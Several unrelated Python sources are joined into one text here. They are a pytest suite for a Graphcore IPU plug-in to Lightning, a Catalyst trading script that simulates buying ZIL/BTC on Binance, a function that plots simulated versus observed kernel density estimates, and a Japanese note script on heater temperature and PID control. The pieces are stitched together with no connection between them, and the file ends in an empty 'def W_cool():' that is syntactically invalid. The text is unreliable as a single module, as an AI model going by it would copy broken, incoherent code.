import os
from unittest import mock

import poptorch
import pytest
import torch
from lightning_utilities.core.imports import package_available
from torch.utils.data import DistributedSampler

if package_available("lightning"):
    from lightning.pytorch import Callback, Trainer, seed_everything
    from lightning.pytorch.core.module import LightningModule
    from lightning.pytorch.demos.boring_classes import BoringModel
    from lightning.pytorch.trainer.states import RunningStage, TrainerFn
    from lightning.pytorch.utilities.exceptions import MisconfigurationException

elif package_available("pytorch_lightning"):
    from pytorch_lightning import Callback, Trainer, seed_everything
    from pytorch_lightning.core.module import LightningModule
    from pytorch_lightning.demos.boring_classes import BoringModel
    from pytorch_lightning.trainer.states import RunningStage, TrainerFn
    from pytorch_lightning.utilities.exceptions import MisconfigurationException

from lightning_graphcore import IPUStrategy
from lightning_graphcore.accelerator import IPUAccelerator
from lightning_graphcore.precision import IPUPrecision

from tests.helpers import ClassifDataModule, IPUClassificationModel, IPUModel

def test_auto_device_count():
    assert IPUAccelerator.auto_device_count() == 4

@mock.patch("lightning_graphcore.accelerator.IPUAccelerator.is_available", return_value=False)
def test_fail_if_no_ipus(_, tmpdir):  # noqa: PT019
    with pytest.raises(
        MisconfigurationException,
        match="`IPUAccelerator` can not run on your system since the accelerator is not available.",
    ):
        Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=1)

@pytest.mark.xfail()  # todo
def test_accelerator_selected(tmpdir):
    assert IPUAccelerator.is_available()
    trainer = Trainer(default_root_dir=tmpdir, accelerator="ipu", devices=1)
    assert isinstance(trainer.accelerator, IPUAccelerator)

def test_warning_if_ipus_not_used():
    with pytest.warns(UserWarning, match="IPU available but not used. Set `accelerator` and `devices`"):
        Trainer(accelerator="cpu")

def test_no_warning_strategy(tmpdir):
    with pytest.warns(None) as record:
        Trainer(default_root_dir=tmpdir, max_epochs=1, strategy=IPUStrategy(training_opts=poptorch.Options()))
    assert len(record) == 0

@pytest.mark.parametrize(
    "devices",
    [1, 4],
)
def test_all_stages(tmpdir, devices):
    model = IPUModel()
    trainer = Trainer(default_root_dir=tmpdir, fast_dev_run=True, strategy=IPUStrategy(), devices=devices)
    trainer.fit(model)
    trainer.validate(model)
    trainer.test(model)
    trainer.predict(model)

@pytest.mark.parametrize(
    "devices",
    [
        1,
        pytest.param(
            4,
            marks=pytest.mark.xfail(  # fixme
                AssertionError, reason="Invalid batch dimension: In the input torch.Size([1, 32]), ..."
            ),
        ),
    ],
)
def test_inference_only(tmpdir, devices):
    model = IPUModel()

    trainer = Trainer(
        default_root_dir=tmpdir, fast_dev_run=True, strategy=IPUStrategy(accelerator=IPUAccelerator()), devices=devices
    )
    trainer.validate(model)
    trainer.test(model)
    trainer.predict(model)

@pytest.mark.xfail(reason="TODO: issues with latest poptorch")
@mock.patch.dict(os.environ, os.environ.copy(), clear=True)
def test_optimization(tmpdir):
    seed_everything(42)

    dm = ClassifDataModule(length=1024)
    model = IPUClassificationModel()

    trainer = Trainer(default_root_dir=tmpdir, max_epochs=1, accelerator=IPUAccelerator(), devices=2)

    # fit model
    trainer.fit(model, dm)
    assert trainer.state.finished, f"Training failed with {trainer.state}"
    assert dm.trainer is not None

    # validate
    result = trainer.validate(datamodule=dm)
    assert dm.trainer is not None
    assert result[0]["val_acc"] > 0.7

    # test
    result = trainer.test(model, datamodule=dm)
    assert dm.trainer is not None
    test_result = result[0]["test_acc"]
    assert test_result > 0.6

    # test saved model
    model_path = os.path.join(tmpdir, "model.pt")
    trainer.save_checkpoint(model_path)

    model = IPUClassificationModel.load_from_checkpoint(model_path)

    trainer = Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=2)

    result = trainer.test(model, datamodule=dm)
    saved_result = result[0]["test_acc"]
    assert saved_result == test_result

def test_half_precision(tmpdir):
    class TestCallback(Callback):
        def setup(self, trainer: Trainer, pl_module: LightningModule, stage: str) -> None:
            assert trainer.precision == "16-mixed"
            raise SystemExit

    model = IPUModel()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        strategy=IPUStrategy(accelerator=IPUAccelerator(), precision_plugin=IPUPrecision("16-mixed")),
        devices=1,
        callbacks=TestCallback(),
    )
    assert isinstance(trainer.strategy.precision_plugin, IPUPrecision)
    assert trainer.strategy.precision_plugin.precision == "16-mixed"
    with pytest.raises(SystemExit):
        trainer.fit(model)

def test_pure_half_precision(tmpdir):
    class TestCallback(Callback):
        def on_train_start(self, trainer: Trainer, pl_module: LightningModule) -> None:
            assert trainer.strategy.precision_plugin.precision == "16-mixed"
            for param in trainer.strategy.model.parameters():
                assert param.dtype == torch.float16
            raise SystemExit

    model = IPUModel()
    model = model.half()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        strategy=IPUStrategy(accelerator=IPUAccelerator(), precision_plugin=IPUPrecision("16-mixed")),
        devices=1,
        callbacks=TestCallback(),
    )

    assert isinstance(trainer.strategy, IPUStrategy)
    assert isinstance(trainer.strategy.precision_plugin, IPUPrecision)
    assert trainer.strategy.precision_plugin.precision == "16-mixed"

    changed_dtypes = [torch.float, torch.float64]
    data = [torch.zeros((1), dtype=dtype) for dtype in changed_dtypes]
    new_data = trainer.strategy.batch_to_device(data)
    assert all(val.dtype is torch.half for val in new_data), "".join(
        [f"{dtype}: {val.dtype}" for dtype, val in zip(changed_dtypes, new_data)]
    )

    not_changed_dtypes = [torch.uint8, torch.int8, torch.int32, torch.int64]
    data = [torch.zeros((1), dtype=dtype) for dtype in not_changed_dtypes]
    new_data = trainer.strategy.batch_to_device(data)
    assert all(val.dtype is dtype for val, dtype in zip(new_data, not_changed_dtypes)), "".join(
        [f"{dtype}: {val.dtype}" for dtype, val in zip(not_changed_dtypes, new_data)]
    )

    with pytest.raises(SystemExit):
        trainer.fit(model)

def test_true_half_precision(tmpdir):
    class TestCallback(Callback):
        def on_train_start(self, trainer: Trainer, pl_module: LightningModule) -> None:
            assert trainer.strategy.precision_plugin.precision == "16-true"
            for param in trainer.strategy.model.parameters():
                assert param.dtype == torch.float16
            raise SystemExit

    model = IPUModel()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        strategy=IPUStrategy(accelerator=IPUAccelerator(), precision_plugin=IPUPrecision("16-true")),
        devices=1,
        callbacks=TestCallback(),
    )

    assert isinstance(trainer.strategy, IPUStrategy)
    assert isinstance(trainer.strategy.precision_plugin, IPUPrecision)
    assert trainer.strategy.precision_plugin.precision == "16-true"

    # TODO uncomment
    # changed_dtypes = [torch.float, torch.float64]
    # data = [torch.zeros((1), dtype=dtype) for dtype in changed_dtypes]
    # new_data = trainer.strategy.batch_to_device(data)
    # assert all(val.dtype is torch.half for val in new_data), "".join(
    #     [f"{dtype}: {val.dtype}" for dtype, val in zip(changed_dtypes, new_data)]
    # )

    not_changed_dtypes = [torch.uint8, torch.int8, torch.int32, torch.int64]
    data = [torch.zeros((1), dtype=dtype) for dtype in not_changed_dtypes]
    new_data = trainer.strategy.batch_to_device(data)
    assert all(val.dtype is dtype for val, dtype in zip(new_data, not_changed_dtypes)), "".join(
        [f"{dtype}: {val.dtype}" for dtype, val in zip(not_changed_dtypes, new_data)]
    )

    with pytest.raises(SystemExit):
        trainer.fit(model)

def test_device_iterations_ipu_strategy(tmpdir):
    class TestCallback(Callback):
        def on_train_start(self, trainer: Trainer, pl_module: LightningModule) -> None:
            assert trainer.strategy.device_iterations == 2
            # assert device iterations has been set correctly within the poptorch options
            poptorch_model = trainer.strategy.poptorch_models[RunningStage.TRAINING]
            assert poptorch_model._options.toDict()["device_iterations"] == 2
            raise SystemExit

    model = IPUModel()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        accelerator=IPUAccelerator(),
        devices=1,
        strategy=IPUStrategy(device_iterations=2),
        callbacks=TestCallback(),
    )
    assert isinstance(trainer.strategy, IPUStrategy)
    with pytest.raises(SystemExit):
        trainer.fit(model)

def test_accumulated_batches(tmpdir):
    class TestCallback(Callback):
        def on_train_start(self, trainer: Trainer, pl_module: LightningModule) -> None:
            # assert poptorch option have been set correctly
            poptorch_model = trainer.strategy.poptorch_models[RunningStage.TRAINING]
            assert poptorch_model._options.Training.toDict()["gradient_accumulation"] == 2
            raise SystemExit

    model = IPUModel()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        strategy=IPUStrategy(accelerator=IPUAccelerator()),
        devices=1,
        accumulate_grad_batches=2,
        callbacks=TestCallback(),
    )
    with pytest.raises(SystemExit):
        trainer.fit(model)

def test_stages_correct(tmpdir):
    """Ensure all stages correctly are traced correctly by asserting the output for each stage."""

    class StageModel(IPUModel):
        def training_step(self, batch, batch_idx):
            loss = super().training_step(batch, batch_idx)
            # tracing requires a loss value that depends on the model.
            # force it to be a value but ensure we use the loss.
            return (loss - loss) + torch.tensor(1)

        def validation_step(self, batch, batch_idx):
            loss = super().validation_step(batch, batch_idx)
            return (loss - loss) + torch.tensor(2)

        def test_step(self, batch, batch_idx):
            loss = super().validation_step(batch, batch_idx)
            return (loss - loss) + torch.tensor(3)

        def predict_step(self, batch, batch_idx, dataloader_idx=0):
            output = super().predict_step(batch, batch_idx)
            return (output - output) + torch.tensor(4)

    class TestCallback(Callback):
        def on_train_batch_end(self, trainer, pl_module, outputs, *_) -> None:
            assert outputs["loss"].item() == 1

        def on_validation_batch_end(self, trainer, pl_module, outputs, *_) -> None:
            assert outputs.item() == 2

        def on_test_batch_end(self, trainer, pl_module, outputs, *_) -> None:
            assert outputs.item() == 3

        def on_predict_batch_end(self, trainer, pl_module, outputs, *_) -> None:
            assert torch.all(outputs == 4).item()

    model = StageModel()
    trainer = Trainer(
        default_root_dir=tmpdir, fast_dev_run=True, accelerator=IPUAccelerator(), devices=1, callbacks=TestCallback()
    )
    trainer.fit(model)
    trainer.test(model)
    trainer.validate(model)
    trainer.predict(model, model.test_dataloader())

@pytest.mark.skip()  # todo: did not raise exception
def test_clip_gradients_fails(tmpdir):
    model = IPUModel()
    trainer = Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=1, gradient_clip_val=10)
    with pytest.raises(MisconfigurationException, match="IPUs currently do not support clipping gradients."):
        trainer.fit(model)

@pytest.mark.xfail(RuntimeError, reason="element 0 of tensors does not require grad and does not have ...")  # todo
def test_autoreport(tmpdir):
    """Ensure autoreport dumps to a file."""
    model = IPUModel()
    autoreport_path = os.path.join(tmpdir, "report/")
    trainer = Trainer(
        default_root_dir=tmpdir,
        accelerator=IPUAccelerator(),
        devices=1,
        fast_dev_run=True,
        strategy=IPUStrategy(autoreport=True, autoreport_dir=autoreport_path),
    )
    trainer.fit(model)
    assert os.path.exists(autoreport_path)
    assert os.path.isfile(autoreport_path + "training/profile.pop")

@pytest.mark.xfail(RuntimeError, reason="element 0 of tensors does not require grad and does not have ...")  # todo
def test_manual_poptorch_dataloader(tmpdir):
    model_options = poptorch.Options()

    class IPUTestModel(IPUModel):
        def train_dataloader(self):
            dataloader = super().train_dataloader()
            # save to instance to compare the reference later
            self.poptorch_dataloader = poptorch.DataLoader(model_options, dataloader.dataset, drop_last=True)
            return self.poptorch_dataloader

    model = IPUTestModel()
    other_options = poptorch.Options()
    trainer = Trainer(
        default_root_dir=tmpdir,
        fast_dev_run=True,
        accelerator=IPUAccelerator(),
        devices=2,
        strategy=IPUStrategy(training_opts=other_options),
    )
    trainer.fit(model)

    assert isinstance(trainer.strategy, IPUStrategy)
    assert trainer.strategy.training_opts is other_options
    dataloader = trainer.train_dataloader
    assert dataloader is model.poptorch_dataloader  # exact object, was not recreated
    # dataloader uses the options in the model, not the strategy
    assert dataloader.options is model_options
    assert dataloader.options is not other_options
    assert dataloader.drop_last  # was kept

@pytest.mark.xfail(RuntimeError, reason="element 0 of tensors does not require grad and does not have ...")  # todo
def test_manual_poptorch_opts(tmpdir):
    """Ensure if the user passes manual poptorch Options, we run with the correct object."""
    model = IPUModel()
    inference_opts = poptorch.Options()
    training_opts = poptorch.Options()

    trainer = Trainer(
        default_root_dir=tmpdir,
        accelerator=IPUAccelerator(),
        devices=2,
        fast_dev_run=True,
        strategy=IPUStrategy(inference_opts=inference_opts, training_opts=training_opts),
    )
    trainer.fit(model)

    assert isinstance(trainer.strategy, IPUStrategy)
    assert trainer.strategy.training_opts == training_opts
    assert trainer.strategy.inference_opts == inference_opts

    dataloader = trainer.train_dataloader
    assert isinstance(dataloader, poptorch.DataLoader)
    assert dataloader.options == training_opts
    assert trainer.num_devices > 1  # testing this only makes sense in a distributed setting
    assert not isinstance(dataloader.sampler, DistributedSampler)

def test_manual_poptorch_opts_custom(tmpdir):
    """Ensure if the user passes manual poptorch Options with custom parameters set.

    We respect them in our poptorch options and the dataloaders.

    """
    model = IPUModel()
    training_opts = poptorch.Options()
    training_opts.deviceIterations(8)
    training_opts.replicationFactor(2)
    training_opts.Training.gradientAccumulation(2)

    inference_opts = poptorch.Options()
    inference_opts.deviceIterations(16)
    inference_opts.replicationFactor(1)
    inference_opts.Training.gradientAccumulation(1)

    class TestCallback(Callback):
        def on_fit_end(self, trainer: Trainer, pl_module: LightningModule) -> None:
            # ensure dataloaders were correctly set up during training.
            strategy = trainer.strategy
            assert isinstance(strategy, IPUStrategy)
            assert strategy.training_opts.replication_factor == 2
            assert strategy.inference_opts.replication_factor == 1

            val_dataloader = trainer.val_dataloaders
            train_dataloader = trainer.train_dataloader
            assert isinstance(val_dataloader, poptorch.DataLoader)
            assert isinstance(train_dataloader, poptorch.DataLoader)
            assert train_dataloader.options.replication_factor == 2
            assert val_dataloader.options.replication_factor == 1

    strategy = IPUStrategy(inference_opts=inference_opts, training_opts=training_opts)
    # ensure we default to the training options replication factor
    assert strategy.replication_factor == 2
    trainer = Trainer(default_root_dir=tmpdir, fast_dev_run=True, strategy=strategy, callbacks=TestCallback())
    trainer.fit(model)

    strategy = trainer.strategy
    assert isinstance(strategy, IPUStrategy)

    training_opts = strategy.training_opts
    assert training_opts.device_iterations == 8
    assert training_opts.replication_factor == 2
    assert training_opts.Training.gradient_accumulation == 2

    inference_opts = strategy.inference_opts
    assert inference_opts.device_iterations == 16
    assert inference_opts.replication_factor == 1
    assert inference_opts.Training.gradient_accumulation == 1

def test_replication_factor(tmpdir):
    """Ensure if the user passes manual poptorch Options with custom parameters set.

    We set them correctly in the dataloaders.

    """
    strategy = IPUStrategy()
    trainer = Trainer(
        accelerator=IPUAccelerator(), devices=2, default_root_dir=tmpdir, fast_dev_run=True, strategy=strategy
    )
    assert isinstance(trainer.accelerator, IPUAccelerator)
    assert trainer.num_devices == 2
    assert trainer.strategy.replication_factor == 2

    model = BoringModel()
    training_opts = poptorch.Options()
    inference_opts = poptorch.Options()
    training_opts.replicationFactor(8)
    inference_opts.replicationFactor(7)
    strategy = IPUStrategy(inference_opts=inference_opts, training_opts=training_opts)

    trainer = Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=1, strategy=strategy)
    trainer.optimizers = model.configure_optimizers()[0]
    strategy._lightning_module = model
    model.trainer = trainer
    trainer.state.fn = TrainerFn.FITTING
    trainer.strategy.setup(trainer)

    trainer.state.stage = RunningStage.TRAINING
    assert trainer.strategy.replication_factor == 8
    trainer.state.stage = RunningStage.VALIDATING
    assert trainer.strategy.replication_factor == 7

    for fn, stage in (
        (TrainerFn.VALIDATING, RunningStage.VALIDATING),
        (TrainerFn.TESTING, RunningStage.TESTING),
        (TrainerFn.PREDICTING, RunningStage.PREDICTING),
    ):
        trainer.state.fn = fn
        trainer.state.stage = stage
        trainer.strategy.setup(trainer)
        assert trainer.strategy.replication_factor == 7

@pytest.mark.xfail()  # todo: assert strategy is COU
def test_default_opts(tmpdir):
    """Ensure default opts are set correctly in the IPUStrategy."""
    model = IPUModel()

    trainer = Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=1, fast_dev_run=True)
    trainer.fit(model)
    assert isinstance(trainer.strategy, IPUStrategy)
    inference_opts = trainer.strategy.inference_opts
    training_opts = trainer.strategy.training_opts
    for opts in (inference_opts, training_opts):
        assert isinstance(opts, poptorch.Options)
        assert opts.Training.gradient_accumulation == 1
        assert opts.device_iterations == 1
        assert opts.replication_factor == 1

@pytest.mark.skip()  # todo: did not raise exception
def test_multi_optimizers_fails(tmpdir):
    """Ensure if there are multiple optimizers, we throw an exception."""

    class TestModel(IPUModel):
        def configure_optimizers(self):
            return [torch.optim.Adam(self.parameters()), torch.optim.Adam(self.parameters())]

    model = TestModel()
    # Must switch to manual optimization mode, otherwise we would get a different error
    # (multiple optimizers only supported with manual optimization)
    model.automatic_optimization = False

    trainer = Trainer(default_root_dir=tmpdir, accelerator=IPUAccelerator(), devices=1)
    with pytest.raises(MisconfigurationException, match="IPUs currently only support one optimizer."):
        trainer.fit(model)

def test_precision_plugin():
    """Ensure precision plugin value is set correctly."""
    plugin = IPUPrecision(precision="16-mixed")
    assert plugin.precision == "16-mixed"

def test_accelerator_ipu():
    trainer = Trainer(accelerator=IPUAccelerator(), devices=1)
    assert isinstance(trainer.accelerator, IPUAccelerator)

    trainer = Trainer(accelerator=IPUAccelerator())
    assert isinstance(trainer.accelerator, IPUAccelerator)

    # TODO
    # trainer = Trainer(accelerator="auto", devices=8)
    # assert isinstance(trainer.accelerator, IPUAccelerator)

def test_accelerator_ipu_with_devices():
    trainer = Trainer(strategy=IPUStrategy(accelerator=IPUAccelerator()), devices=8)
    assert isinstance(trainer.strategy, IPUStrategy)
    assert isinstance(trainer.accelerator, IPUAccelerator)
    assert trainer.num_devices == 8

@pytest.mark.xfail(AssertionError, reason="not implemented on PL side")
def test_accelerator_auto_with_devices_ipu():
    trainer = Trainer(accelerator="auto", devices=8)
    assert isinstance(trainer.accelerator, IPUAccelerator)
    assert trainer.num_devices == 8

def test_strategy_choice_ipu_strategy():
    trainer = Trainer(strategy=IPUStrategy(), accelerator=IPUAccelerator(), devices=8)
    assert isinstance(trainer.strategy, IPUStrategy)

def test_device_type_when_ipu_strategy_passed():
    trainer = Trainer(strategy=IPUStrategy(), accelerator=IPUAccelerator(), devices=8)
    assert isinstance(trainer.strategy, IPUStrategy)
    assert isinstance(trainer.accelerator, IPUAccelerator)

def test_poptorch_models_at_different_stages(tmpdir):
    strategy = IPUStrategy()
    trainer = Trainer(default_root_dir=tmpdir, strategy=strategy, accelerator=IPUAccelerator(), devices=8)
    model = BoringModel()
    model.trainer = trainer
    strategy._lightning_module = model

    trainer.optimizers = model.configure_optimizers()[0]
    trainer.state.fn = TrainerFn.FITTING
    trainer.strategy.setup(trainer)
    assert list(trainer.strategy.poptorch_models) == [
        RunningStage.TRAINING,
        RunningStage.VALIDATING,
        RunningStage.SANITY_CHECKING,
    ]

    for fn, stage in (
        (TrainerFn.VALIDATING, RunningStage.VALIDATING),
        (TrainerFn.TESTING, RunningStage.TESTING),
        (TrainerFn.PREDICTING, RunningStage.PREDICTING),
    ):
        trainer.state.fn = fn
        trainer.state.stage = stage
        trainer.strategy.setup(trainer)
        assert list(trainer.strategy.poptorch_models) == [stage]

@pytest.mark.xfail(AssertionError, reason="not implemented on PL side")
def test_devices_auto_choice_ipu():
    trainer = Trainer(accelerator="auto", devices="auto")
    assert trainer.num_devices == 4
    assert isinstance(trainer.accelerator, IPUAccelerator)

@pytest.mark.parametrize("trainer_kwargs", [{"accelerator": "ipu"}])
@pytest.mark.parametrize("hook", ["transfer_batch_to_device", "on_after_batch_transfer"])
def test_raise_exception_with_batch_transfer_hooks(monkeypatch, hook, trainer_kwargs, tmpdir):
    """Test that an exception is raised when overriding batch_transfer_hooks."""

    def custom_method(self, batch, *_, **__):
        return batch + 1

    trainer = Trainer(default_root_dir=tmpdir, accelerator="ipu")

    model = BoringModel()
    setattr(model, hook, custom_method)

    match_pattern = rf"Overriding `{hook}` is not .* with IPUs"
    with pytest.raises(MisconfigurationException, match=match_pattern):
        trainer.fit(model)

def test_unsupported_ipu_choice(monkeypatch):
    with pytest.raises(ValueError, match=r"accelerator='ipu', precision='bf16-mixed'\)` is not supported"):
        Trainer(accelerator="ipu", precision="bf16-mixed")
    with pytest.raises(ValueError, match=r"accelerator='ipu', precision='64-true'\)` is not supported"):
        Trainer(accelerator="ipu", precision="64-true")

@pytest.mark.xfail()  # todo
def test_num_stepping_batches_with_ipu(monkeypatch):
    """Test stepping batches with IPU training which acts like DP."""
    import lightning.pytorch.strategies.ipu as ipu

    monkeypatch.setattr(ipu, "_IPU_AVAILABLE", True)
    trainer = Trainer(accelerator="ipu", devices=2, max_epochs=1)
    model = BoringModel()
    trainer._data_connector.attach_data(model)
    trainer.strategy.connect(model)
    assert isinstance(trainer.strategy, IPUStrategy)
    assert trainer.estimated_stepping_batches == 64


from catalyst import run_algorithm
from catalyst.api import order, record, symbol
import pandas as pd
import matplotlib.pyplot as plt

def initialize(context):
    context.asset = symbol('zil_btc')

def handle_data(context, data):
    order(context.asset, 1)
    record(btc=data.current(context.asset, 'price'))

def analyze(context, perf):
    ax1 = plt.subplot(211)
    perf.portfolio_value.plot(ax=ax1)
    ax1.set_ylabel('portfolio value')
    ax2 = plt.subplot(212, sharex=ax1)
    perf.btc.plot(ax=ax2)
    ax2.set_ylabel('zil price')
    plt.show()

if __name__ == '__main__':
    run_algorithm(
        capital_base=10,
        data_frequency='minute',
        initialize=initialize,
        handle_data=handle_data,
        analyze=analyze,
        algo_namespace='ALGONAMESPACE',
        exchange_name='binance',
        quote_currency='btc',
        live=True,
        simulate_orders=True,
    )


# -*- coding: utf-8 -*-
"""
Functions for plotting simulated vs observed kernel density estimates.
"""
from __future__ import absolute_import

import matplotlib.patches as mpatches
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sbn

from .plot_utils import (  # noqa: E501
    _choice_evaluator,
    _label_despine_save_and_show_plot,
    _thin_rows,
)
from .utils import progress

try:
    # in Python 3 range returns an iterator instead of list
    # to maintain backwards compatibility use "old" version of range
    from past.builtins import range
except ImportError:
    pass

# Set the plotting style
sbn.set_style("darkgrid")

def plot_simulated_kdes(
    sim_y,
    orig_df,
    filter_idx,
    col_to_plot,
    choice_col,
    sim_color="#a6bddb",
    orig_color="#045a8d",
    choice_condition=1,
    fig_and_ax=None,
    label="Simulated",
    title=None,
    bar_alpha=0.5,
    bar_color="#fee391",
    thin_pct=None,
    n_traces=None,
    rseed=None,
    show=True,
    figsize=(10, 6),
    fontsize=12,
    xlim=None,
    ylim=None,
    output_file=None,
    dpi=500,
    **kwargs,
):
    """
    Plots an observed kernel density estimate (KDE) versus the simulated
    versions of that same KDE.

    Parameters
    ----------
    sim_y : 2D ndarray.
        The simulated outcomes. All elements should be zeros or ones. There
        should be one column for every set of simulated outcomes. There should
        be one row for every row of one's dataset.
    orig_df : pandas DataFrame.
        The dataframe containing the data used to estimate one's model. Should
        have the same number of rows as `sim_y`.
    filter_idx : 1D ndarray of booleans.
        Should have the same number of rows as `orig_df`. Will denote the rows
        that should be used to compute the KDE if their outcome is
        `choice_condition`.
    col_to_plot : str.
        A column in `orig_df` whose data will be used to compute the KDEs.
    choice_col : str.
        The column in `orig_df` that contains the original outcome data.
    sim_color, orig_color : valid 'color' argument for matplotlib, optional.
        The colors that will be used to plot the simulated and observed KDEs,
        respectively. Default is `sim_color == '#a6bddb'` and
        `orig_color == '#045a8d'`.
    choice_condition : `{0, 1}`, optional.
        Denotes the outcome class that we wish to plot the KDEs for. If
        `choice_condition == 1`, then we will plot the KDEs for those where
        `sim_y == 1` and `filter_idx == True`. If `choice_condition == 0`, we
        will plot the KDEs for those rows where `sim_y == 0` and
        `filter_idx == True`. Default == 1.
    fig_and_ax : list of matplotlib figure and axis, or `None`, optional.
        Determines whether a new figure will be created for the plot or whether
        the plot will be drawn on the passed Axes object. If None, a new figure
        will be created. Default is `None`.
    label : str or None, optional.
        The label for the simulated KDEs. If None, no label will be displayed.
        Default = 'Simulated'.
    title : str or None, optional.
        The plot title. If None, no title will be displayed. Default is None.
    bar_alpha : float in (0.0, 1.0), optional.
        Denotes the opacity of the bar used to denote the proportion of
        simulations where no observations had `filter_idx == True` AND
        `sim_y == choice_condition`. Higher values lower the bar's
        transparency. `0` leads to an invisible bar. Default == 0.5.
    bar_color : valid 'color' argument for matplotlib, optional.
        The color that will be used to plot the bar that shows the proportion
        of simulations where no observations had `sim_y == choice_condition`.
        Default is '#fee391'.
    thin_pct : float in (0.0, 1.0) or None, optional.
        Determines the percentage of the data (rows) to be used for plotting.
        If None, the full dataset will be used. Default is None.
    n_traces : int or None, optional.
        Should be less than `sim_y.shape[1]`. Denotes the number of simulated
        choices to randomly select for plotting. If None, all columns of
        `sim_y` will be used for plotting. Default is None.
    rseed : int or None, optional.
        Denotes the random seed to be used when selecting the `n_traces`
        columns for plotting. This is useful for reproducing an exact plot when
        using `n_traces`. If None, no random seed will be set. Default is None.
    show : bool, optional.
        Determines whether `fig.show()` will be called after the plots have
        been drawn. Default is True.
    figsize : 2-tuple of ints, optional.
        If a new figure is created for this plot, this kwarg determines the
        width and height of the figure that is created. Default is `(5, 3)`.
    fontsize : int or None, optional.
        The fontsize to be used in the plot. Default is 12.
    xlim, ylim : 2-tuple of ints or None, optional.
        Denotes the extents of the x-axis and y-axis, respectively, of the
        matplotlib Axes instance that are drawn. If None, the extent will not
        be manually altered from the matplotlib defaults. Default is None.
    output_file : str, or None, optional.
        Denotes the relative or absolute filepath (including the file format)
        that is to be used to save the plot. If None, the plot will not be
        saved to file. Default is None.
    dpi : positive int, optional.
        Denotes the number of 'dots per inch' for the saved figure. Will only
        be used if `output_file is not None`. Default == 500.

    kwargs : passed to `ax.plot` call in matplotlib.

    Returns
    -------
    None.
    """
    # Filter the data
    filtered_sim_y = sim_y[filter_idx, :]
    filtered_orig_df = orig_df.loc[filter_idx, :]

    if rseed is not None:
        np.random.seed(rseed)

    if n_traces is not None:
        selected_cols = np.random.choice(
            filtered_sim_y.shape[1], size=n_traces, replace=False
        )
        filtered_sim_y = filtered_sim_y[:, selected_cols]

    if thin_pct is not None:
        # Randomly select rows to be retained for plotting
        selected_rows = _thin_rows(filtered_sim_y, thin_pct)
        # Filter the simulated-y, df, and filtering values
        filtered_sim_y = filtered_sim_y[selected_rows, :]
        filtered_orig_df = filtered_orig_df.iloc[selected_rows, :]

    sample_iterator = progress(
        range(filtered_sim_y.shape[1]), desc="Calculating KDEs"
    )

    # Get the original values
    orig_choices = filtered_orig_df[choice_col].values

    orig_plotting_idx = _choice_evaluator(orig_choices, choice_condition)
    orig_plotting_vals = filtered_orig_df.loc[
        orig_plotting_idx, col_to_plot
    ].values

    if fig_and_ax is None:
        fig, axis = plt.subplots(1, figsize=figsize)
        fig_and_ax = [fig, axis]
    else:
        fig, axis = fig_and_ax

    # Count simulated data with no obs meeting the choice and filter conditions
    num_null_choices = 0

    # store the minimum and maximum x-values
    min_x, max_x = orig_plotting_vals.min(), orig_plotting_vals.max()

    for i in sample_iterator:
        current_choices = filtered_sim_y[:, i]

        # Determine the final rows to use for plotting
        plotting_idx = _choice_evaluator(current_choices, choice_condition)

        if plotting_idx.sum() == 0:
            num_null_choices += 1
            continue

        # Get the values for plotting
        current_plotting_vals = filtered_orig_df.loc[
            plotting_idx, col_to_plot
        ].values

        # Update the plot extents
        min_x = min(current_plotting_vals.min(), min_x)
        max_x = max(current_plotting_vals.max(), max_x)

        sbn.kdeplot(
            current_plotting_vals,
            ax=axis,
            color=sim_color,
            alpha=0.5,
            **kwargs,
        )

    # Plot the originally observed relationship
    sbn.kdeplot(
        orig_plotting_vals,
        ax=axis,
        color=orig_color,
        label="Observed",
        **kwargs,
    )

    if num_null_choices > 0:
        num_null_pct = num_null_choices / float(filtered_sim_y.shape[1])
        null_pct_density_equivalent = axis.get_ylim()[1] * num_null_pct
        axis.bar(
            [0],
            [null_pct_density_equivalent],
            width=0.1 * np.ptp(orig_plotting_vals),
            align="edge",
            alpha=bar_alpha,
            color=bar_color,
            label="'No Obs' Simulations: {:.2%}".format(num_null_pct),
        )

    if label is not None:
        _patch = mpatches.Patch(color=sim_color, label=label)
        current_handles, current_labels = axis.get_legend_handles_labels()
        current_handles.append(_patch)
        current_labels.append(label)

        axis.legend(
            current_handles, current_labels, loc="best", fontsize=fontsize
        )

    # set the plot extents
    if xlim is None:
        axis.set_xlim((min_x, max_x))
    else:
        axis.set_xlim(xlim)

    if ylim is not None:
        axis.set_ylim(ylim)

    # Take care of boilerplate plotting necessities
    _label_despine_save_and_show_plot(
        x_label=col_to_plot,
        y_label="Density",
        fig_and_ax=fig_and_ax,
        fontsize=fontsize,
        y_rot=0,
        y_pad=40,
        title=title,
        output_file=output_file,
        show=show,
        dpi=dpi,
    )
    return None


#!/usr/bin/env python3
""" HNGN001 Created on Tue Jun 11 08:34:11 2019
(two days before 190613) (1month before 190711)"""

s1="""HNGN1,澄江さんが亡くなる2日前に書いたもの。輻射伝熱について勉強しようとしていた。（4乗則でどれくらい熱が逃げるかPythonのプログラムで計算して知りたかった。）ここで作ったものは外とつながなければ、仏像を1000体彫る事と同じことはできないだろう。コミニケーションをとることが、つながることが、大きな目的の1つだから。\n """

s2="""
2020年4月の517号室での最初の加熱実験では、加熱の入力が340ワット。それで200度から640度まで20秒で上がった。

HNGN82 から、温度上昇のモデルを引き継ぐ。
"""

s3="""
時間刻みの中で全てのストーリーが成り立つように組み上げる。
"""

print(s1+"\n"+s2+"\n"+s3+"\n")

s4="""
t = i*dt
T=Treal-Ttarget

T += dt*(Q/H)

W_heat=Input_of_Control_Loop=heater_power_input

W_heat += Kp*(T) + Kd*(Q/H) + Ki*(T*dt)
Q=W_heat-W_cool
"""

s5="""
{200502}
x <=> T
w <=> (Tdt)
v <=> (Q/H)

	for i in range(int(50/dt)):
		t = i*dt
		x += dt*v
		w += dt*x
		F = -x*Kp -v*Kd -w*Ki
		v += dt*F/m
"""

def W_cool():
